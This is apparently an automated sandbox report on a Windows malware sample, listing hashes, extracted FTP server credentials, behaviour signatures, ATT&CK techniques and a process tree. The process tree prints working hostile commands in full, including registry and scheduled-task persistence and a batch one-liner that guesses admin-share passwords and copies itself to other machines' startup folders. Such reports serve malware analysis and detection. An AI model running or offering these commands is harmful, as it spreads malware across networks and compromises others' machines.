Analysis

  • max time kernel
    149s
  • max time network
    152s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220812-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system
  • submitted
    25-09-2022 13:56

General

  • Target

    IMG001.exe

  • Size

    3.5MB

  • MD5

    87882046d21d2468ee993ea7c3159c4d

  • SHA1

    525114e7e4bde3c2e9620f598dc21071888b44b6

  • SHA256

    edc049f43e49ebc789a64818b7a1c52e37dd248e735d86606d92162dce599130

  • SHA512

    bce07ca371c0a7aa6d214ff3ff3fb05c45891f56d1834c06a563b1adb0d1c3eee9829ac73b4652677ba916aa147913d135939d0d3a2f7af4aa1469af3389ffc6

  • SSDEEP

    98304:M8LuVPnq1y5tQOM33ZNqCtBixHl54Oyjes1boo:KVPq1yLanrqTr43eSX

Score
10/10

Malware Config

Extracted

Credentials

  • Protocol:
    ftp
  • Host:
    62.129.233.167
  • Port:
    21
  • Username:
    anonymous

Extracted

Credentials

  • Protocol:
    ftp
  • Host:
    107.151.181.121
  • Port:
    21
  • Username:
    admin
  • Password:
    foster

Extracted

Credentials

  • Protocol:
    ftp
  • Host:
    112.230.136.19
  • Port:
    21
  • Username:
    anonymous

Signatures

  • Contacts a large (872) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Executes dropped EXE 3 IoCs
  • Checks computer location settings 2 TTPs 2 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops startup file 1 IoCs
  • Loads dropped DLL 5 IoCs
  • Adds Run key to start application 2 TTPs 4 IoCs
  • Enumerates connected drives 3 TTPs 1 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Drops file in Windows directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • NSIS installer 4 IoCs
  • Creates scheduled task(s) 1 TTPs 2 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Discovers systems in the same network 1 TTPs 1 IoCs
  • Kills process with taskkill 2 IoCs
  • Runs net.exe
  • Suspicious use of AdjustPrivilegeToken 8 IoCs
  • Suspicious use of WriteProcessMemory 63 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\IMG001.exe
    "C:\Users\Admin\AppData\Local\Temp\IMG001.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:4904
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c taskkill /f /im tftp.exe & tskill tftp.exe
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:1676
      • C:\Windows\SysWOW64\taskkill.exe
        taskkill /f /im tftp.exe
        3⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:4924
    • C:\Users\Admin\AppData\Local\Temp\tftp.exe
      "C:\Users\Admin\AppData\Local\Temp\tftp.exe"
      2⤵
      • Executes dropped EXE
      PID:3496
    • C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe
      "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe"
      2⤵
      • Executes dropped EXE
      • Checks computer location settings
      • Drops startup file
      • Loads dropped DLL
      • Adds Run key to start application
      • Enumerates connected drives
      • Suspicious use of WriteProcessMemory
      PID:32
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\system32\cmd.exe" /c taskkill /f /im tftp.exe & tskill tftp.exe
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:5000
        • C:\Windows\SysWOW64\taskkill.exe
          taskkill /f /im tftp.exe
          4⤵
          • Kills process with taskkill
          • Suspicious use of AdjustPrivilegeToken
          PID:3788
      • C:\Users\Admin\AppData\Local\Temp\tftp.exe
        "C:\Users\Admin\AppData\Local\Temp\tftp.exe"
        3⤵
        • Executes dropped EXE
        PID:3020
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\system32\cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "" /d "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe" /t REG_SZ
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:2488
        • C:\Windows\SysWOW64\reg.exe
          reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "" /d "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe" /t REG_SZ
          4⤵
          • Adds Run key to start application
          PID:3324
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\system32\cmd.exe" /c schtasks /create /tn "UAC" /SC ONLOGON /F /RL HIGHEST /TR "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:3936
        • C:\Windows\SysWOW64\schtasks.exe
          schtasks /create /tn "UAC" /SC ONLOGON /F /RL HIGHEST /TR "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe"
          4⤵
          • Creates scheduled task(s)
          PID:3660
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\system32\cmd.exe" /c schtasks /create /tn "UAC" /RU "SYSTEM" /SC ONLOGON /F /V1 /RL HIGHEST /TR "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:4268
        • C:\Windows\SysWOW64\schtasks.exe
          schtasks /create /tn "UAC" /RU "SYSTEM" /SC ONLOGON /F /V1 /RL HIGHEST /TR "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe"
          4⤵
          • Drops file in Windows directory
          • Creates scheduled task(s)
          PID:4124
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\system32\cmd.exe" /c powercfg /CHANGE -standby-timeout-ac 0 & powercfg /CHANGE -hibernate-timeout-ac 0 & Powercfg -SetAcValueIndex 381b4222-f694-41f0-9685-ff5bb260df2e 4f971e89-eebd-4455-a8de-9e59040e7347 5ca83367-6e45-459f-a27b-476b1d01c936 000
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:2804
        • C:\Windows\SysWOW64\powercfg.exe
          powercfg /CHANGE -standby-timeout-ac 0
          4⤵
          • Suspicious use of AdjustPrivilegeToken
          PID:3428
        • C:\Windows\SysWOW64\powercfg.exe
          powercfg /CHANGE -hibernate-timeout-ac 0
          4⤵
          • Suspicious use of AdjustPrivilegeToken
          PID:1816
        • C:\Windows\SysWOW64\powercfg.exe
          Powercfg -SetAcValueIndex 381b4222-f694-41f0-9685-ff5bb260df2e 4f971e89-eebd-4455-a8de-9e59040e7347 5ca83367-6e45-459f-a27b-476b1d01c936 000
          4⤵
          • Suspicious use of AdjustPrivilegeToken
          PID:2088
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\system32\cmd.exe" /v:on /c @(for /f "usebackq tokens=1" %i in (`@net view^|find /i "\\" ^|^| @arp -a^|find /i " 1"`) do @set str_!random!=%i)& @for /f "usebackq tokens=1* delims==" %j in (`set str_`) do @set s=%k& set s=!s:\\=!& set l=!s:-PC=!& set l=!l:-ÏÊ=!& set f=IMG001.exe& set n=0008& @if not "!s!"=="%COMPUTERNAME%" @echo connect to \\!s! & (for /f "usebackq tokens=1" %j in (`net view \\!s!^|find /i " "`) do @echo f|xcopy /y /d "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe" "\\!s!\%j\!f!" 1>nul && @echo copy to "\\!s!\%j\!f!") & @net use * /delete /y 2>nul & @(for %u in (1 !l! administrator user admin àäìèíèñòðàòîð) do @for %p in (0 1 123 %u !n! "") do @ping -n 3 localhost>nul & @(for %c in (\\!s!\C$ \\!s!\Users) do @echo connect to %c %p %u & @(if not "%p%u"=="01" net use %c "%p" /user:"%u") && @((echo [Section1] & echo p=%p %u)>"C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe:P" & @(for %d in ("%c\All Users\Microsoft\Windows\Start Menu\Programs\Startup\!f!" "%c\%u\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\!f!" "%c\Users\All Users\Microsoft\Windows\Start Menu\Programs\Startup\!f!" "%c\Users\%u\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\!f!" "%c\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\!f!" "%c\Documents and Settings\%u\Start Menu\Programs\Startup\!f!" "%c\Documents and Settings\All Users\Start Menu\Programs\Startup\!f!" "%c\Documents and Settings\%u\Ãëàâíîå ìåíþ\Ïðîãðàììû\Àâòîçàãðóçêà\!f!" "%c\Documents and Settings\All Users\Ãëàâíîå ìåíþ\Ïðîãðàììû\Àâòîçàãðóçêà\!f!" "%c\Windows\Profiles\%u\Start Menu\Programs\Startup\!f!" "%c\Windows\All Users\Start menu\Programs\Startup\!f!" "%c\%u\!f!" ) do @echo f|@xcopy /y /d "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe" %d 1>nul && @echo copy to %d) & @echo nul>"C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe:P" & net use %c /delete /y 2>nul & @ping -n 20 localhost>nul)))
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:4512
        • C:\Windows\SysWOW64\cmd.exe
          C:\Windows\system32\cmd.exe /c @net view|find /i "\\" || @arp -a|find /i " 1"
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:3160
          • C:\Windows\SysWOW64\net.exe
            net view
            5⤵
            • Discovers systems in the same network
            PID:4496
          • C:\Windows\SysWOW64\find.exe
            find /i "\\"
            5⤵
              PID:548

    Network

    MITRE ATT&CK Matrix ATT&CK v6

    Execution

    Scheduled Task

    1
    T1053

    Persistence

    Registry Run Keys / Startup Folder

    1
    T1060

    Scheduled Task

    1
    T1053

    Privilege Escalation

    Scheduled Task

    1
    T1053

    Defense Evasion

    Modify Registry

    1
    T1112

    Discovery

    Network Service Scanning

    1
    T1046

    Query Registry

    2
    T1012

    System Information Discovery

    3
    T1082

    Peripheral Device Discovery

    1
    T1120

    Remote System Discovery

    1
    T1018

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\AppData\Local\Temp\.htaccess
      Filesize

      114B

      MD5

      1cd7834fb975e468fccc8f027f69a528

      SHA1

      56275eef952e6559b86a2cba0b9d45b0307f9dae

      SHA256

      72e847a89d6a5e9e779ea2f6347b8780c0c0d72969f43777aa7ceb431bd3b024

      SHA512

      14e5fdc4ee4d961f1da2272847d31ddd1559a36415f00a032ae71400956d897dbd88fd8c8d03aadad29888e729d5c5077d8620aec8e179440b0d5dce511f3338

    • C:\Users\Admin\AppData\Local\Temp\info.zip
      Filesize

      1KB

      MD5

      8604e0f263922501f749cfca447b041a

      SHA1

      85c712bdeaceb78e2785e1f63811b0c4a50f952d

      SHA256

      52ec3ba075a507e62bb6e3272fb13b30a8ddc0f62c4ea194311d558b338eb5ed

      SHA512

      496d7a1b8b55d28387dad3f1c43e164bb567259c4cac21dd632ccd450dfbf28d431330c27ea72a5a8034979c325d19ff3fd8a3f7fc12b1122f67ef595630d5b2

    • C:\Users\Admin\AppData\Local\Temp\nsjC45B.tmp\inetc.dll
      Filesize

      21KB

      MD5

      d7a3fa6a6c738b4a3c40d5602af20b08

      SHA1

      34fc75d97f640609cb6cadb001da2cb2c0b3538a

      SHA256

      67eff17c53a78c8ec9a28f392b9bb93df3e74f96f6ecd87a333a482c36546b3e

      SHA512

      75cf123448567806be5f852ebf70f398da881e89994b82442a1f4bc6799894e799f979f5ab1cc9ba12617e48620e6c34f71e23259da498da37354e5fd3c0f934

    • C:\Users\Admin\AppData\Local\Temp\nsjC45B.tmp\inetc.dll
      Filesize

      21KB

      MD5

      d7a3fa6a6c738b4a3c40d5602af20b08

      SHA1

      34fc75d97f640609cb6cadb001da2cb2c0b3538a

      SHA256

      67eff17c53a78c8ec9a28f392b9bb93df3e74f96f6ecd87a333a482c36546b3e

      SHA512

      75cf123448567806be5f852ebf70f398da881e89994b82442a1f4bc6799894e799f979f5ab1cc9ba12617e48620e6c34f71e23259da498da37354e5fd3c0f934

    • C:\Users\Admin\AppData\Local\Temp\nsjC45B.tmp\inetc.dll
      Filesize

      21KB

      MD5

      d7a3fa6a6c738b4a3c40d5602af20b08

      SHA1

      34fc75d97f640609cb6cadb001da2cb2c0b3538a

      SHA256

      67eff17c53a78c8ec9a28f392b9bb93df3e74f96f6ecd87a333a482c36546b3e

      SHA512

      75cf123448567806be5f852ebf70f398da881e89994b82442a1f4bc6799894e799f979f5ab1cc9ba12617e48620e6c34f71e23259da498da37354e5fd3c0f934

    • C:\Users\Admin\AppData\Local\Temp\nsjC45B.tmp\inetc.dll
      Filesize

      21KB

      MD5

      d7a3fa6a6c738b4a3c40d5602af20b08

      SHA1

      34fc75d97f640609cb6cadb001da2cb2c0b3538a

      SHA256

      67eff17c53a78c8ec9a28f392b9bb93df3e74f96f6ecd87a333a482c36546b3e

      SHA512

      75cf123448567806be5f852ebf70f398da881e89994b82442a1f4bc6799894e799f979f5ab1cc9ba12617e48620e6c34f71e23259da498da37354e5fd3c0f934

    • C:\Users\Admin\AppData\Local\Temp\nsjC45B.tmp\inetc.dll
      Filesize

      21KB

      MD5

      d7a3fa6a6c738b4a3c40d5602af20b08

      SHA1

      34fc75d97f640609cb6cadb001da2cb2c0b3538a

      SHA256

      67eff17c53a78c8ec9a28f392b9bb93df3e74f96f6ecd87a333a482c36546b3e

      SHA512

      75cf123448567806be5f852ebf70f398da881e89994b82442a1f4bc6799894e799f979f5ab1cc9ba12617e48620e6c34f71e23259da498da37354e5fd3c0f934

    • C:\Users\Admin\AppData\Local\Temp\tftp.exe
      Filesize

      275KB

      MD5

      7a4774111ad45d5b306c8ca8c5aca376

      SHA1

      06d41d4f1fb72de905904f380efa564d0badbb91

      SHA256

      dd082c17a55a54173f105a9c38a71126e4521541b4a56be55546ab965136b039

      SHA512

      29acf0f9bc82465e13f668d0667a802a20e297ea0f16c74bef49ba28b3ed1b7392418c6afbcd165ad3ce6e1e01d13e09d26fab17700764bddb5ef0d870aa7af7

    • C:\Users\Admin\AppData\Local\Temp\tftp.exe
      Filesize

      275KB

      MD5

      7a4774111ad45d5b306c8ca8c5aca376

      SHA1

      06d41d4f1fb72de905904f380efa564d0badbb91

      SHA256

      dd082c17a55a54173f105a9c38a71126e4521541b4a56be55546ab965136b039

      SHA512

      29acf0f9bc82465e13f668d0667a802a20e297ea0f16c74bef49ba28b3ed1b7392418c6afbcd165ad3ce6e1e01d13e09d26fab17700764bddb5ef0d870aa7af7

    • C:\Users\Admin\AppData\Local\Temp\tftp.exe
      Filesize

      275KB

      MD5

      7a4774111ad45d5b306c8ca8c5aca376

      SHA1

      06d41d4f1fb72de905904f380efa564d0badbb91

      SHA256

      dd082c17a55a54173f105a9c38a71126e4521541b4a56be55546ab965136b039

      SHA512

      29acf0f9bc82465e13f668d0667a802a20e297ea0f16c74bef49ba28b3ed1b7392418c6afbcd165ad3ce6e1e01d13e09d26fab17700764bddb5ef0d870aa7af7

    • C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe
      Filesize

      3.5MB

      MD5

      87882046d21d2468ee993ea7c3159c4d

      SHA1

      525114e7e4bde3c2e9620f598dc21071888b44b6

      SHA256

      edc049f43e49ebc789a64818b7a1c52e37dd248e735d86606d92162dce599130

      SHA512

      bce07ca371c0a7aa6d214ff3ff3fb05c45891f56d1834c06a563b1adb0d1c3eee9829ac73b4652677ba916aa147913d135939d0d3a2f7af4aa1469af3389ffc6

    • C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe
      Filesize

      3.5MB

      MD5

      87882046d21d2468ee993ea7c3159c4d

      SHA1

      525114e7e4bde3c2e9620f598dc21071888b44b6

      SHA256

      edc049f43e49ebc789a64818b7a1c52e37dd248e735d86606d92162dce599130

      SHA512

      bce07ca371c0a7aa6d214ff3ff3fb05c45891f56d1834c06a563b1adb0d1c3eee9829ac73b4652677ba916aa147913d135939d0d3a2f7af4aa1469af3389ffc6

    • memory/32-137-0x0000000000000000-mapping.dmp
    • memory/548-164-0x0000000000000000-mapping.dmp
    • memory/1676-132-0x0000000000000000-mapping.dmp
    • memory/1816-154-0x0000000000000000-mapping.dmp
    • memory/2088-155-0x0000000000000000-mapping.dmp
    • memory/2488-146-0x0000000000000000-mapping.dmp
    • memory/2804-149-0x0000000000000000-mapping.dmp
    • memory/3020-143-0x0000000000000000-mapping.dmp
    • memory/3160-162-0x0000000000000000-mapping.dmp
    • memory/3324-151-0x0000000000000000-mapping.dmp
    • memory/3428-153-0x0000000000000000-mapping.dmp
    • memory/3496-134-0x0000000000000000-mapping.dmp
    • memory/3660-150-0x0000000000000000-mapping.dmp
    • memory/3788-141-0x0000000000000000-mapping.dmp
    • memory/3936-147-0x0000000000000000-mapping.dmp
    • memory/4124-152-0x0000000000000000-mapping.dmp
    • memory/4268-148-0x0000000000000000-mapping.dmp
    • memory/4496-163-0x0000000000000000-mapping.dmp
    • memory/4512-161-0x0000000000000000-mapping.dmp
    • memory/4924-133-0x0000000000000000-mapping.dmp
    • memory/5000-140-0x0000000000000000-mapping.dmp